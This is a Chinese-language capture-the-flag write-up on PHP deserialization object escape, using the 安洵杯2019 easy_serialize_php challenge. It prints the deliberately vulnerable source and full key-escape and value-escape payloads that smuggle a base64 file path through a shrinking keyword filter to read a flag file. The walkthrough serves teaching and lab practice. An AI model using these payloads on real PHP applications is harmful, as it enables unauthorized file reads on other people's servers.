反序列化中的对象逃逸——安洵杯2019 easy_serialize_php
一周没写博客了,这里简单梳理一下反序列化的普遍知识点
反序列化的对象逃逸问题一般分为两种~~,我先谈一下自己的理解,首先是过滤函数分为两种情况
参考[https://blog.csdn.net/a3320315/article/details/104118688/]
第一种为关键词数增加
例如: where->hacker,这样词数由五个增加到6个
这种情况可以直接构造多个关键词,然后逃逸出字符
第二种为关键词数减少
例如:直接过滤掉一些关键词,flag、php等
这种情况可以直接通过键逃逸和值逃逸得到
这里举一道第二种情况的例题,题目已经给出了源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根据题目提示,打开phpinfo,可以发现
于是我们需要构造payload读取d0g3_f1ag.php
根据题目的filter()函数可以知道,题目对php、flag等进行了过滤,会替换成空。而且extract()函数覆盖了没用的属性,但是后面又强制加了一个我们不可控的img属性,正常传img参数进去会被sha1加密,并且我们传进去的值会被base64解密。
所以我们这里可以考虑构造 键逃逸 或者 值逃逸 两种
键逃逸:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
这个进行序列化之后的结果为:a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
值逃逸:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这个进行序列化之后的结果为:a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
然后我们再把d0g3_f1ag.php替换成/d0g3_fllllllag,这里base64加密后刚好也是20位,L2QwZzNfZmxsbGxsbGFn可以直接进行替换。
最后得到flag